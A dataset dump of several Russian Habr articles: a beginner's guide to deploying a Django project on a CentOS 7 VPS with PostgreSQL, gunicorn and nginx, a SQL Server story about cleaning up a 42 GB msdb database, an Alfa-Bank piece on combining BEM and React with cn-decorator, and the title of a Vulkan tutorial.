text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Установка Django-проекта на VPS (centOS 7) [Для новичков]
Хочу поделиться практическим опытом по установке готового проекта на Django на VPS от Reg.ru. Данное руководство рассчитано на новичков, оно содержит ряд не самых лучших решений, но с ним вы сможете запустить своей проект на Django в течение часа.
Инструкция не содержит настроек безопасности. Она была создана на базе англоязычных инструкций и боли, много боли (ссылки в конце статьи). Инструкция актуальна для настроек: centOS 7, Django 1.9.2 и Python 3.4.3
Ремарка: благодарю Филиппа Торчинского за предоставление продакт-версии PyCharm для создания проекта на Django.
### Что у нас есть
Мы имеем готовый проект на Django в среде разработки PyCharm для локального компьютера. Т.е. settings.py имеет базу данных sqlite3, битые пути к статите и пустой ALLOWED\_HOSTS. Это нормально.
### Мы начинаем
##### Этап 1
Покупаем доменное имя на сайте Reg.ru. Стандартная процедура, ничего необычного.
Покупаем на Reg.ru VPS H-XEN-2 с виртуализацией XEN. Это нужно для того, чтобы не иметь проблем с конфигурацией ядра и распределением нагрузки. В качестве операционной системы выбираем CentOS 7. Тариф достаточно слабый, поэтому лучу взять её, нежели Ubuntu. Debian не берется, так как его сложнее настроить.
После покупке VPS нам придет письмо cо всеми данными. Там же нам предложат связать VPS и домен. В качестве решения вам предложат использовать панель управления DNSAdmin. Однако по какой-то причине эта штука не работает, поэтому пропускаем и переходим в панель управления Reg.ru в настройки вашего доменного имени.
— Ваш домен — DNS-Сервера. Ставим настройки согласно скриншоту:
— Ваш домен — Управление зоной — добавить запись «A» Например: (Ip-меняем на ваш)
Готово, мы привязали доменное имя к хостингу. На обновление потребуется какое-то время.
##### Этап 2
Для работы с CentOS 7 нам понадобится программа: [PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/). Скачиваем запускам и приступаем к работе.
**Первичная настройка хостига.**
Для начала нам нужно будет добавить еще одного пользователя и назначить для него права на изменения конфигов. Это делается для того, чтобы вы по ошибке через root-пользователя не сломали всю систему.
1) подключаемся через PuTTY через root-пользователя и набираем следующие команды:
— добавляем юзера: `adduser habrauser`
— добавляем юзеру пароль: `passwd habrauser`
— добавляем пользователю habrauser права: `gpasswd -a habrauser wheel`
— отключаемся от сеанса под root-пользователем: `exit`
После этого мы сможем запускать команды пользователем habrauser от имени администратора через приставку sudo
2) Подключаемся через PuTTY под пользователем habrauser и набираем следующие команды:
— Ставим тайм-зону серверу: `sudo timedatectl set-timezone Europe/Moscow`
— Подтверждаем: `sudo timedatectl`
— Ставим синхронизатор времени: `sudo yum install ntp`
— Ставим автозапуск синхронизатора:
`sudo systemctl start ntpd
sudo systemctl enable ntpd`
##### Этап 3
— Ставим необходимые дополнительные пакеты для centOS 7
`sudo yum install epel-release`
`sudo yum install python-pip python-devel postgresql-server postgresql-devel postgresql-contrib gcc nginx`
Теперь мы сможем использовать pip, чтобы ставить необходимые питон пакеты.
— Ставим редактор
`sudo yum install nano`
**Настраиваем PostgreSQL**
— Инициализируем PostgreSQL:
`sudo postgresql-setup initdb`
— Запускаем сервис PostgreSQL:
`sudo systemctl start postgresql`
— Открываем конфигурационный файл:
`sudo nano /var/lib/pgsql/data/pg_hba.conf`
— Редактируем так, чтобы база работала с авторизированными пользователями.
`. . .
# TYPE DATABASE USER ADDRESS METHOD
# "local" is for Unix domain socket connections only
local all all peer
# IPv4 local connections:
#host all all 127.0.0.1/32 ident
host all all 127.0.0.1/32 md5
# IPv6 local connections:
#host all all ::1/128 ident
host all all ::1/128 md5`
Чтобы сохранить файл, нам нужно нажать ctrl+O, далее enter и yes. Чтобы выйти нажимаем ctrl+X.
— Перезапускаем сервис
`sudo systemctl restart postgresql`
— Ставим автозапуск:
`sudo systemctl enable postgresql`
**Создание базы данных PostgreSQL:**
— входим в сервис:
`sudo su - postgres`
-входим в локальный сеанс:
`psql`
— создаем базу данных habradb:
`CREATE DATABASE habradb;`
— создаем пользователя баз данных:
`CREATE USER user WITH PASSWORD 'password';`
— даем пользователю user права на использование базы данных habradb:
`GRANT ALL PRIVILEGES ON DATABASE habradb TO user;`
— завершаем сеанс работы с базой:
`\q`
`exit`
##### Этап 4
Наш проект рассчитан на использование Python3.4.3, поэтому мы будем ставить в виртуальное окружение именно его.
— ставим Python 3.4.3
`sudo yum install python34-devel`
— ставим виртуальное окружение:
`sudo pip install virtualenv`
— создаем в корне системы папку проекта apifolder (укажите такое название, которое у вас используется в самом проекте в PyCharm):
`mkdir ~/apifolder`
— переходим в данную папку:
`cd ~/apifolder`
-создаем виртуальное окружение djangoen с питоном python 3.4.3
`mkvirtualenv -p /usr/bin/python3.4 djangoen`
p.s. чтобы правильно указать путь к питону, можно использовать команду `which python3.4`
— активируем виртуальное окружение и входим в него
`source myprojectenv/bin/activate`
— ставим джангу, юникорн и обработчик базы
`pip install django gunicorn psycopg2`
Чтобы поставить другую версию django, используйте команду: `pip install django==1.9.2 #указав нужную версию`
##### Этап 5
начинаем создавать наш проект Django:
— Создаем проект Django в текущей папке (имя проекта то же самое, что и имеет мое в PyCharm):
`django-admin.py startproject apifolder . # точка говорит нам о том, что мы ставим в текущую папку, в данном случае в папку apifolder.`
— Копируем наш проект с локальной машины.
По идее проект нужно пушами копировать с вашего репозитория git, но если вы не знаете, что такое git, пуш и так далее, то есть более примитивный способ.
* Подключаемся вашему серверу через SFTP: [инструкция](https://www.reg.ru/support/hosting-i-servery/hosting-sajtov/nachalo-raboty-i-dostupy/kak-podklyuchitsya-po-sftp)
* Открываем папку home/habrauser/apifolder
* Открываем ваш проект на локальной машине
* Обычным перетаскиваем дополняем и заменяем файлы созданного ранее проекта apifolder, вашим проектом c локальной машины (его имя также должно быть apifolder, либо то, что вы задали ранее).
— Открываем файл settings.py и вносим в него изменения
`nano apifoldert/settings.py`
Либо можно изменять его конфиг в IDE, а потом обновить его через SFTP.
`DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql', # так должно быть с версии django 1,8 и выше.
'NAME': 'habradb',
'USER': 'user',
'PASSWORD': 'password',
'HOST': 'localhost',
'PORT': '',
}
}
#Предполагается, что у вас папка static будет лежать в корне проекта, а не в каждом отдельном приложении.
STATIC_URL = '/static/'
MEDIA_URL = '/media/'
STATIC_ROOT = os.path.join(BASE_DIR, "static")
MEDIA_ROOT = os.path.join(BASE_DIR, "media")
STATICFILES_DIRS = (
)
#Это пригодится вам для отладки. ALLOWED_HOSTS в самом конце нужно будет сменить на ваш домен.
DEBUG = True
ALLOWED_HOSTS = [
'*',
]`
— Ставим релевантные пакеты. Например, в моем случае, чтобы проект поддерживал модель ImageFiled, мне нужно было установить Pillow
`sudo yum install libtiff-devel libjpeg-devel libzip-devel freetype-devel lcms2-devel libwebp-devel tcl-devel tk-devel`
`pip install Pillow`
— Проверяем базу данных, делаем миграцию (Статику пока собрать не получится, так как у нас её еще ничего не отдает).
`cd ~/apifolder
./manage.py makemigrations
./manage.py migrate`
Иногда эти команды не работают, и нужно использовать: `python manage.py makemigrations` итд
Также можно создать пользователя
`./manage.py createsuperuser`
— Запускаем проект и проверяем его работу:
./manage.py runserver 0.0.0.0:8000
Сайт будет доступен по адресу: [server\_domain\_or\_IP](http://server_domain_or_IP):8000
— чекаем все моменты и делаем отладку. Если на этом этапе не проверить все странички, админку и прочее, то в дальнейшем может появиться много проблем. Чаще всего забываются какие-то мелочи: пакеты, url, локальные конфиги.
— отключаемся
`deactivate`
##### Этап 6
— создаем конфиг Юникорна:
`sudo nano /etc/systemd/system/gunicorn.service`
`[Unit]
Description=gunicorn daemon
After=network.target
[Service]
User=habrauser
Group=nginx
WorkingDirectory=/home/habrauser/apifolder
ExecStart=/home/habrauser/apifolder/djangoen/bin/gunicorn --workers 3 --bind unix:/home/habrauser/apifolder/apifolder.sock apifolder.wsgi:application
[Install]
WantedBy=multi-user.target`
— запускаем юникорн и делаем ему автозапуск:
`sudo systemctl start gunicorn
sudo systemctl enable gunicorn`
— Подключаем Nginx
`sudo nano /etc/nginx/nginx.conf`
sudo nano /etc/nginx/nginx.conf
Вставляем новый конфиг в:
`http {
. . .
include /etc/nginx/conf.d/*.conf;
#Вот сюда
server {
listen 80 default_server;
. . .`
сам конфиг
`server {
listen 80;
server_name example.ru www.example.ru;
location = /favicon.ico { access_log off; log_not_found off; }
location /static/ {
root /home/habrauser/apifolder;
}
location / {
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://unix:/home/habrauser/apifolder/apifolder.sock;
}
}`
— добавляем nginx юзеру:
`sudo usermod -a -G habrauser nginx`
— ставим права:
`chmod 710 /home/habrauser`
— проверяем конфиг nginx (должно отдать две успешные строки):
`sudo nginx -t`
— Ставим автозапуск:
`sudo systemctl start nginx
sudo systemctl enable nginx`
##### Этап 7
Основная часть работы сделана, теперь нам нужно собрать статику и перезагрузить машину:
— идем к нашей папке
`cd ~/apifolder`
— активируем окружение:
`source djangoen/bin/activate`
— Собираем статику:
`./manage.py collectstatic`
— ставим в файлике setting.py ALLOWED\_HOSTS = ваш домен, и DEBUG = False
— перезагружаем сервер: reg.ru — мои хостинг и услуги — ваш VPS — Перезагрузить сервер
Иногда одного раза не хватает (не все начинает работать так, как нужно), поэтому приходится грузить несколько раз.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Запуск сервера [www.digitalocean.com/community/tutorials/initial-server-setup-with-centos-7](https://www.digitalocean.com/community/tutorials/initial-server-setup-with-centos-7)
Дополнительные настройки [www.digitalocean.com/community/tutorials/additional-recommended-steps-for-new-centos-7-servers](https://www.digitalocean.com/community/tutorials/additional-recommended-steps-for-new-centos-7-servers)
Сам конфиг [www.digitalocean.com/community/tutorials/how-to-set-up-django-with-postgres-nginx-and-gunicorn-on-centos-7](https://www.digitalocean.com/community/tutorials/how-to-set-up-django-with-postgres-nginx-and-gunicorn-on-centos-7) | https://habr.com/ru/post/277653/ | null | ru | null |
# История про msdb размером в 42 Гб
 Недавно выдалась минутка посмотреть почему старый тестовый сервер безбожно тормозил… К нему я не имел никакого отношения, но меня одолевал спортивный интерес разобраться, что с ним не так.
Первым делом открыл *Resource Monitor* и взглянул на общую нагрузку. Процесс *sqlserv.exe* нагружал ЦП под 100% и формировал большую дисковую очередь, которая была за 300… при том, что значение выше единицы уже считается проблемным.
При анализе дисковой активности заметил непрерывные *IO* операции в *msdb*:
```
D:\SQL_2012\SYSTEM\MSDBData.mdf
D:\SQL_2012\SYSTEM\MSDBLog.ldf
```
Посмотрел на размер *msdb*:
```
SELECT name, size = size * 8. / 1024, space_used = FILEPROPERTY(name, 'SpaceUsed') * 8. / 1024
FROM sys.database_files
```
и включил режим «рука-лицо»:
```
name size space_used
------------ -------------- ---------------
MSDBData 42626.000000 42410.374395
MSDBLog 459.125000 6.859375
```
Файл данных занимал 42 Гб… Взяв небольшую паузу я начал разбираться в чем причина такого нездорового объема *msdb* и как побороть проблемы с производительностью сервера.
Проверил ресурсоемкие запросы, которые выполнялись на сервере:
```
SELECT
r.session_id
, db = DB_NAME(r.database_id)
, r.[status]
, p.[text]
--, sql_text = SUBSTRING(p.[text], (r.statement_start_offset / 2) + 1,
-- CASE WHEN r.statement_end_offset = -1
-- THEN 2147483647
-- ELSE ((r.statement_end_offset - r.statement_start_offset) / 2) + 1
-- END)
, r.cpu_time
, r.total_elapsed_time
, r.reads
, r.writes
, r.logical_reads
FROM sys.dm_exec_requests r
CROSS APPLY sys.dm_exec_sql_text(r.[sql_handle]) p
WHERE r.[sql_handle] IS NOT NULL
AND r.session_id != @@SPID
ORDER BY logical_reads DESC
```
На первом месте гордо расположилась системная хранимая процедура:
```
db status text elapsed_time reads writes logical_reads
-------- -------- ------------------------------------- ------------ ------- ------- ---------------
msdb running create procedure [sys].[sp_cdc_scan] 6739344 618232 554324 2857923422
```
Из названия которой можно догадаться, что речь идет о *CDC* (*Change Data Capture*), который применяется как средство для отслеживания измененных данных. *CDC* основан на чтении журнала транзакций и всегда работает в асинхронном режиме за счет использования *Service Broker*.
Из-за проблем в конфигурации, при попытке отправить *Event Notification* для *Service Broker*, сообщение может не достигнуть места назначения и тогда архивируется в отдельной таблице… Сильно занудно сказано… В общем, если часто используется *Service Broker*, то нужно мониторить *sys.sysxmitqueue*. Когда в данной таблице идет постоянный прирост данных, то это либо баг, либо мы неправильно используем *Service Broker*.
Вот этим запросом можно вернуть список объектов и их размер:
```
USE msdb
GO
SELECT TOP(10)
o.[object_id]
, obj = SCHEMA_NAME(o.[schema_id]) + '.' + o.name
, o.[type]
, i.total_rows
, i.total_size
FROM sys.objects o
JOIN (
SELECT
i.[object_id]
, total_size = CAST(SUM(a.total_pages) * 8. / 1024 AS DECIMAL(18,2))
, total_rows = SUM(CASE WHEN i.index_id IN (0, 1) AND a.[type] = 1 THEN p.[rows] END)
FROM sys.indexes i
JOIN sys.partitions p ON i.[object_id] = p.[object_id] AND i.index_id = p.index_id
JOIN sys.allocation_units a ON p.[partition_id] = a.container_id
WHERE i.is_disabled = 0
AND i.is_hypothetical = 0
GROUP BY i.[object_id]
) i ON o.[object_id] = i.[object_id]
WHERE o.[type] IN ('V', 'U', 'S')
ORDER BY i.total_size DESC
```
После выполнения получил следующие результаты:
```
object_id obj type total_rows total_size
----------- -------------------------------- ---- ------------ -----------
68 sys.sysxmitqueue S 6543502968 37188.90
942626401 dbo.sysmail_attachments U 70 2566.00
1262627541 dbo.sysmail_attachments_transfer U 35 2131.01
1102626971 dbo.sysmail_log U 44652 180.35
670625432 dbo.sysmail_mailitems U 19231 123.39
965578478 dbo.sysjobhistory U 21055 69.05
366624349 dbo.backupfile U 6529 14.09
727673640 dbo.sysssispackages U 9 2.98
206623779 dbo.backupset U 518 1.88
286624064 dbo.backupfilegroup U 3011 1.84
```
Сразу скажу, что все таблицы в этом списке мы не оставим без внимания. Но сперва нужно очистить *sys.sysxmitqueue*.
Удалить данные напрямую из [*sys.sysxmitqueue*](https://technet.microsoft.com/en-us/library/dd576261%28v=sql.100%29.aspx) не получится, поскольку эта таблица является системным объектом *(S)*. После непродолжительных поисков я нашел способ как заставить *SQL Server* очистить эту таблицу. При создании нового [*Service Broker*](https://social.technet.microsoft.com/Forums/sqlserver/en-US/e89ed1c8-14a3-4ebf-9516-e90687d15dda/how-to-purge-sysxmitqueue-table-in-msdb-sql-server-2005) автоматически удаляются все ассоциированные со старым брокером сообщения.
```
USE msdb
GO
ALTER DATABASE msdb SET NEW_BROKER WITH ROLLBACK IMMEDIATE
```
Но перед выполнение команды настоятельно рекомендуется отключить *SQL Server Agent* и перевести *SQL Server* в *Single-User Mode*. Удаление существующих сообщений во всех очередях *Service Broker* заняло у меня минут десять. По завершению выполнения я получил следующее сообщение:
```
Nonqualified transactions are being rolled back. Estimated rollback completion: 100%.
```
После перезагрузки службы *SQL Server* все проблемы с производительностью ушли… душа радовалась и на этом можно было бы поставить точку. Но вспомним, что это была не единственная большая таблица в *msdb*. Давайте разберемся с остальными…
Для тех, кто любит отправлять почту через *Database Mail* нужно знать, что *SQL Server* всю почтовую рассылку логирует и хранит в msdb. Все почтовые вложения, которые отправляются с телом письма там аккуратненько сохраняются… Поэтому очень рекомендуется периодически очищать эту информацию. Делать это можно руками, т.е. смотреть какие таблицы нужно почистить:
```
SELECT o.name, p.[rows]
FROM msdb.sys.objects o
JOIN msdb.sys.partitions p ON o.[object_id] = p.[object_id]
WHERE o.name LIKE 'sysmail%'
AND o.[type] = 'U'
AND p.[rows] > 0
```
Либо использовать уже готовые хранимые процедуры [*sysmail\_delete\_mailitems\_sp*](https://msdn.microsoft.com/en-us/library/ms190293.aspx) и [*sysmail\_delete\_log\_sp*](https://msdn.microsoft.com/en-us/library/ms189810.aspx):
```
DECLARE @DateBefore DATETIME
SET @DateBefore = DATEADD(DAY, -7, GETDATE())
EXEC msdb.dbo.sysmail_delete_mailitems_sp @sent_before = @DateBefore --, @sent_status = 'sent'
EXEC msdb.dbo.sysmail_delete_log_sp @logged_before = @DateBefore
```
История выполнения заданий *SQL Server Agent* также сохраняется в *msdb*. Когда записей в логе становится много с ним становится не сильно удобно работать, поэтому я стараюсь его периодически чистить [*sp\_purge\_jobhistory*](https://msdn.microsoft.com/en-us/library/ms175044.aspx):
```
DECLARE @DateBefore DATETIME
SET @DateBefore = DATEADD(DAY, -7, GETDATE())
EXEC msdb.dbo.sp_purge_jobhistory @oldest_date = @DateBefore
```
Еще нужно упомянуть, про информацию о резервных копиях, которая логируются в *msdb*. Старые записи о созданных бекапах можно удалять [*sp\_delete\_backuphistory*](https://msdn.microsoft.com/en-us/library/ms188328.aspx):
```
DECLARE @DateBefore DATETIME
SET @DateBefore = DATEADD(DAY, -120, GETDATE())
EXEC msdb.dbo.sp_delete_backuphistory @oldest_date = @DateBefore
```
Но нужно помнить про один нюанс — при удалении базы данных записи о ее резервных копиях не удаляются из *msdb*:
```
USE [master]
GO
IF DB_ID('backup_test') IS NOT NULL BEGIN
ALTER DATABASE [backup_test] SET SINGLE_USER WITH ROLLBACK IMMEDIATE
DROP DATABASE [backup_test]
END
GO
CREATE DATABASE [backup_test]
GO
BACKUP DATABASE [backup_test] TO DISK = N'backup_test.bak'
GO
DROP DATABASE [backup_test]
GO
SELECT *
FROM msdb.dbo.backupset
WHERE database_name = 'backup_test'
```
В моем случае, когда базы часто создаются и удаляются это может приводить к росту *msdb*. В ситуации, когда информация о бекапах не нужна, ее можно удалить хранимкой [*sp\_delete\_database\_backuphistory*](https://msdn.microsoft.com/en-us/library/ms178645.aspx):
```
EXEC msdb.dbo.sp_delete_database_backuphistory @database_name = N'backup_test'
```
**Небольшие выводы...**
Системная база *msdb* используется многими компонентами *SQL Server*, например, такими как *Service Broker*, *SQL Server Agent* и *Database Mail*. Стоит отметить, что нет готового плана обслуживания, который бы учитывал написанное выше, поэтому важно периодически проводить профилактические меры. В моем случае, после удаления лишней информации и усечения файла размер *msdb* стал 200 Мб против изначальных 42 Гб.
Надеюсь из этого поста вышла поучительная история о пользе постоянного администрирования… не только пользовательских, но и системных баз данных.
Если хотите поделиться этой статьей с англоязычной аудиторией:
[How to reduce MSDB size from 42Gb to 200Mb](http://blog.devart.com/reduce-msdb-big-size.html) | https://habr.com/ru/post/273633/ | null | ru | null |
# БЭМ + React: гибкая архитектура дизайн-системы
[](https://habrahabr.ru/company/alfa/blog/340522/)
Дизайн — это фашизм. Фашизму нужна питательная среда. Он начинает раскрываться в полной мере только на крупных масштабах. Идеальная среда для фашизма — это большая компания с огромным количеством продуктов. Например, Google или… Альфа-Банк. Фашизм априори не гибок…
Все кнопочки на всех продуктах компании должны носить одинаковые рубашки, только одного номенклатурного цвета #F02823. Любая ссылка также имеет свою униформу: цвет #0A1E32, нижнее подчеркивание на расстоянии 2px. Если мы нажмем на ссылку, она должна незамедлительно выполнить команду — перенести нас на другой раздел приложения. За неподчинение — изгнание из дизайна системы Альфа-Банка в Зеленый Банк или расстрел. И неизвестно, что бы в этом случае выбрала ссылка.
Но это фашизм во имя Любви. Мы любим своего пользователя: мы хотим, чтобы на каждом нашем продукте пользователь получал одинаковый опыт. Чтобы ему было легко и просто. Чтобы Банк быстро и эффективно решал его задачи.
> ### Дизайн — это фашизм во имя Любви
>
>
Это фашизм ради драйва и скорости. Мы хотим разрабатывать наши приложения быстро, чтобы разработчики не изобретали каждый раз велосипед для новых приложений и могли шарить лучшие UI/UX-практики между командами.
Любой фашизм предполагает идеологию. Любой фашизм предполагает централизованное принятие решений. Для любого фашизма компании необходимо завести Самый Главный Комитет по Цензуре и Унификации или СГКпЦиУ.
Но, подождите, теперь Альфа-Банк — это бирюзовая компания, в движок которой зашит манифест Agile и Scrum. Это означает, что мы осознанно приняли стратегию, что все решения «зашиты» в команды, а не в комитеты по типу СГКпЦиУ…
Как сохранить консистентность дизайна и не потерять гибкость разработки?
========================================================================
Наша библиотека компонентов [ARUI Feather](https://github.com/alfa-laboratory/arui-feather) базируется на двух хорошо знакомых решениях из мира фронтенда: [БЭМ](https://ru.bem.info/)-методологии и [React](https://reactjs.org/).
Здесь не будет рассказа про выбор инструментов: мне больше хочется рассказать про принципы и практики масштабирования дизайн-систем, которые мы выработали в процессе создания [ARUI Feather](https://github.com/alfa-laboratory/arui-feather).
Подробнее о том, почему у нас именно [БЭМ-методология](https://ru.bem.info/) + [React](https://reactjs.org/), можно узнать из [этого видео с Яндекс.Деньги FrontendMix 2017](https://www.youtube.com/watch?v=yfIsPH1jXJc).
> ### В основе инженерных решений [ARUI Feather](https://github.com/alfa-laboratory/arui-feather) лежит философия
> [KISS](https://ru.wikipedia.org/wiki/KISS_%28%D0%BF%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF%29) / [YAGNI](https://ru.wikipedia.org/wiki/YAGNI) / [DRY](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself)
>
>
[KISS](https://ru.wikipedia.org/wiki/KISS_%28%D0%BF%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF%29) означает, что мы изначально для себя решили избегать сложных решений. Перед нами стояла задача сделать код дизайн-системы, в котором сможет разобраться самостоятельно любая команда. [ARUI Feather](https://github.com/alfa-laboratory/arui-feather) — это АК-47 мира дизайн-систем. Даже лежа по уши в песке в окопах под Багдадом, вы можете самостоятельно разобрать и собрать ее, не обращаясь в сервис-центр ВМС США.
Также, следуя [YAGNI](https://ru.wikipedia.org/wiki/YAGNI), мы делаем только необходимое, и последний тренд — мы чаще удаляем компоненты, чем создаем новые, потому что на самом деле многие вещи лежат за зоной ответственности дизайн-системы.
> ### [ARUI Feather](https://github.com/alfa-laboratory/arui-feather) — это АК-47 мира дизайн-систем. Даже лежа по уши в песке в окопах под Багдадом, вы можете самостоятельно разобрать и собрать ее, не обращаясь в сервис-центр ВМС США
>
>
По этой причине мы используем [БЭМ-методологию](https://ru.bem.info/) не в полной реализации, исключая из нее [миксы](https://ru.bem.info/methodology/key-concepts/#%D0%9C%D0%B8%D0%BA%D1%81) и [уровни переопределения](https://ru.bem.info/methodology/redefinition-levels/). Оба эти подхода про “смешивание”, что при масштабировании включает на проектах “безумный миксер”, делая код тяжелым для отладки.
Технически мы поддерживаем дизайн-систему через наше собственное Open Source решение — [cn-decorator](https://github.com/alfa-laboratory/cn-decorator), которое позволяет использовать [БЭМ-методологии](https://ru.bem.info/) и [React](https://reactjs.org/) вместе.
> ### Мы используем [БЭМ-методологию](https://ru.bem.info/) не в полной реализации,
> исключая из нее [миксы](https://ru.bem.info/methodology/key-concepts/#%D0%9C%D0%B8%D0%BA%D1%81) и [уровни переопределения](https://ru.bem.info/methodology/redefinition-levels/)
>
>
С какими проблемами мы столкнулись при масштабировании дизайн-системы?
======================================================================
В Альфа-Банке уже более 30 команд, которые разрабатывают своей фронтенд независимо, используя [ARUI Feather](https://github.com/alfa-laboratory/arui-feather) и [cn-decorator](https://github.com/alfa-laboratory/cn-decorator).
У нас нет отдельной выделенной команды, которая сконцентрирована на разработке UI/UX-библиотеки. Разработка ведется по принципам, сложившимся в Open Source: есть мейнтейнеры библиотеки компонентов, есть контрибьюторы и есть, конечно, пользователи. И все эти люди так или иначе участники разных команд. Мы осознанно пошли на этот шаг, чтобы избежать появления в компании узкого звена в виде команды разработки библиотеки, которой другие команды делают заказ и ожидают, когда им помогут.
Также это помогает решать задачи, которые действительно важны для создания продукта, а не задачи из вакуума, которые часто любят себе выдумывать сервисные команды.
Далее я расскажу про топ вопросов от команд, которые поступают мейнтейнерам, и как мы их решаем…
А как вообще мне компонент написать-то?
---------------------------------------
Так выглядит самый простой компонент, написанный с использованием [cn-decorator](https://github.com/alfa-laboratory/cn-decorator).
```
import cn from 'cn-decorator';
@cn('button')
class Button extends React.Component {
render(cn) {
return ;
}
}
```
Достаточно просто использовать декоратор *@cn* и передать название блока, в данном примере *‘button’*. Теперь метод *render* получит свой экземпляр *cn*, который может быть использован для генерации имен классов. И наш финальный БЭМ-блок в HTML будет выглядеть приблизительно так:
Но ведь в [БЭМ-методологии](https://ru.bem.info/) есть еще элементы, модификаторы, ~~миксы~~ и ~~уровни переопределения~~… Пример чуть сложнее:
```
import cn from 'cn-decorator';
@cn('button')
class Button extends React.Component {
render(cn) {
return (
Text
);
}
}
```
В результате у нас получается следующая верстка:
```
Text
```
На примере наглядно показано, как [cn-decorator](https://github.com/alfa-laboratory/cn-decorator) умеет обращаться с модификаторами и элементами. Остается добавить немного CSS, и компонент готов!
Мы тут подумали: если поменять цвет рамочек вот у этой кнопки, то конверсия повысится на 200%! Нам что, кнопку с нуля делать?
-----------------------------------------------------------------------------------------------------------------------------
Альфа-Банк — это на 100% продуктовая компания. Наши команды на регулярной основе проводят десятки экспериментов. Иногда даже небольшое изменение цвета рамочки может привести к изменению конверсии.
Если бы у нас был комитет СГКпЦиУ, то нам бы пришлось вынести решение об таком незначительном эксперименте на его ближайшее собрание, дождаться вердикта и, спустя долгие полгода, все-таки повысить конверсию. Технически мы бы использовали WebComponents и запретили бы любое вмешательство в верстку и API компонента.
Но жизнь богаче, и каждая из команд имеет полное право на проведение экспериментов с дизайном. Для этого в [cn-decorator](https://github.com/alfa-laboratory/cn-decorator) встроен механизм **className proxy**…
```
import Button from 'arui-feather/button';
class App extends React.Component {
render() {
return ;
}
}
```
В результате мы получаем следующую верстку:
```
```
Теперь мы можем просто на проекте в селекторе *.my-class* перекрыть пару свойств нашей кнопки…
Мы еще подумали и, кажется, знаем, как повысить конверсию на 500%! Но, нам нужна кнопка… Нет, она должна нажиматься как старая, но выглядит-то она совсем по-другому… Нам опять с нуля делать?
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
И такое случается. Согласитесь, обидно писать компонент, логика работы которого тебя полностью устраивает, но выглядит он совершенно по-другому. Чуть выше я говорил о том, что мы не любим все паттерны смешивания, а предпочитаем паттерны на основе композиции. Поэтому у нас есть механизм **перегрузки имени блока**, который позволяет разобрать компонент на составные части: стили и логику.
На этой картинке две кнопки. Они выглядят совершенно по-разному, тем не менее шарят между собой все поведение. Мы добиваемся этого тем, что умеем **перегружать базовое имя блока**.
Достаточно просто передекорировать компонент и написать для него новые стили:
```
import cn from 'arui-feather/cn';
import Button from 'arui-feather/button';
import './tag-button.css';
@cn('tag-button')
class TagButton extends Button {};
```
Результирующая верстка *TagButton*:
```
Text
```
Такой несложный паттерн позволяет нам шарить логику компонента между разными представлениями.
А у нас тут дизайнер нарисовал компонент, который выглядит как Link, но работает как Select… А у вас такого нет! А это повысит конверсию на 1000%!
--------------------------------------------------------------------------------------------------------------------------------------------------
Это были простые примеры, но часто наши компоненты составные (помните, мы любим композицию). Например, таким составным компонентов является *Select*: он состоит из двух компонентов *Button* и *Popup*.
Приблизительно так выглядит код *Select*:
```
import cn from 'arui-feather/cn';
import Button from 'arui-feather/button';
import Popup from 'arui-feather/popup';
@cn('select')
class Select extends React.Component {
render(cn) {
return (
);
}
}
```
Но иногда командам нужно поменять составной компонент. Например, команде нужно, чтобы *Popup* выпадал из ссылки, а не из кнопки. Приблизительно так:
Но у нас модульная система на ES6 modules. Единственная возможность заменить составной компонент — это сделать патч на уровне сборки. Здесь на помощь снова приходит [cn-decorator](https://github.com/alfa-laboratory/cn-decorator) и его фича **Dependency Injection Components**. Давайте передадим наши составные компоненты через *cn*:
```
import cn from 'arui-feather/cn';
import Button from 'arui-feather/button';
import Popup from 'arui-feather/popup';
@cn('select', Button, Popup)
class Select extends React.Component {
render(cn, Button, Popup) {
return (
);
}
}
```
Теперь мы можем сделать собственный *Select*, заменив в нем *Button* на наш собственный.
```
import cn from 'arui-feather/cn';
import Select from 'arui-feather/select';
import Popup from 'arui-feather/popup';
import MyLinkButton from './my-link-button';
@cn('my-link-select', MyLinkButton, Popup)
class MyLinkSelect extends Select {};
```
Ура! Теперь мы можем менять любой составной компонент композиции!
Теперь вы видели все
====================
Дизайн-система в большой компании — это не про технологии: это не про холивар Angular vs БЭМ vs React. Дизайн-система — это поиск компромиссов между консистентностью и возможностью проводить быстрые эксперименты. Дизайн-система — это работа с комьюнити и работа с бизнес-требованиями одновременно. Это b2b- и b2c-решение: на одной чаше весов бизнес, который хочет быстро, дешево и качественно, и с другой стороны разработчики, которые хотят гибко, расширяемо, но предсказуемо и надежно.
Хочется завершить эту статью одним очень точным законом, который лучше всего объясняет архитектуру дизайн-систем (да и в принципе любую архитектуру):
> «Организации, проектирующие системы (здесь имеется в виду более широкое толкование, включающее не только информационные системы), неизбежно производят конструкцию, чья структура является копией структуры взаимодействия внутри самой организации»
>
> —Закон Конвея
>
>
**Наши Open Source-решения:**
[ARUI Feather](https://github.com/alfa-laboratory/arui-feather) — Библиотека UI-компонентов Альфа Банка
[cn-decorator](https://github.com/alfa-laboratory/cn-decorator) — Лучший способ использовать [БЭМ-методологию](https://ru.bem.info/) с [React](https://reactjs.org/)
**Наши вакансии во фронтенд-разработке и дизайне:**
[Дизайнер интерфейсов / Дизайнер цифровых продуктов](https://hr.alfabank.ru/vacancies/dizayner-interfeysov-dizayner-tsifrovyh-produktov?utm_source=habr&utm_medium=article&utm_campaign=design)
[Фронтенд-разработка](https://hr.alfabank.ru/vacancies?department=web-frontend-dev&utm_source=habr&utm_medium=article&utm_campaign=design)
[Дизайн](https://hr.alfabank.ru/vacancies?department=design&utm_source=habr&utm_medium=article&utm_campaign=design)
 | https://habr.com/ru/post/340522/ | null | ru | null |
# Vulkan. Руководство разработчика. Вершинные буферы
